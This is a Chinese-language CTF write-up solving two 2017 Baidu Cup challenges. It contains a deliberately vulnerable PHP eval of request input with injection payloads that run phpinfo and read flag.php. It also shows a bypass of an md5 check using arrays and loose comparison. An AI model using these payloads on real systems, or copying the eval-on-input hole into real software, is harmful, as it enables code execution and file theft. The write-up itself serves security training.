1.“百度杯”CTF比赛 2017 二月场 爆破-2
提示:flag不在变量中。
题目:
<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
题解:代码中有eval函数,考虑如何利用eval函数,将flag.php的内容打印出来
[1]?hello=1);phpinfo();//—将var_dump函数闭合,添加phpinfo();并用//注释后面的代码,可以查看php版本,及禁用的函数。
[2]?hello=1);print_r(file_get_contents(‘flag.php’));// 右键查看代码,得flag。
2.百度杯”CTF比赛 2017 二月场 爆破-3
题目:
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){//初始化变量
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){//如果时间超过2分钟则销毁session
session_destroy();
}
$value = $_REQUEST['value'];//传参
$str_rand = range('a', 'z');//初始化a-z的一个字符串
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
//$str_rands由两个a-z随机字符组成,比如ab,ae,ds等,mt_rand(0,25)用来生成0-25随机数
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
//如果if条件成立,则$_SESSION['nums']变量加1,$_SESSION['whoami']赋值为$str_rands;
}
if($_SESSION['nums']>=10){//当$_SESSION['nums']大于10时输出flag
echo $flag;
}
show_source(__FILE__);
?>
题解:substr(md5($value),5,4)==0绕时是解题关键,只要传入正确的$_SESSION[‘whoami’]并保证substr(md5($value),5,4)==0,连续操作10次就可以得到flag。
方法一:
payload:?value=ea
接下来将paylaod改为?value=vb,如果有输出,则继续将value改为输出值,如果没有输出,可以将paylaod改为以vb开头的任意值,比如?value=vbaa,?value=vbab等,直到出现输出值,再重复以上操作,操作10次后得到flag。
方法二:利用md5函数不能对数组进行处理特性,如果传入的参数是数组,md5()的返回值恒为0,substr的返回值也恒为0。
paylaod:?value[]=ea,然后再将输出值vb传参,即:?value[]=vb。。。重复10次后得到flag。第二种方法效率更高,推荐。
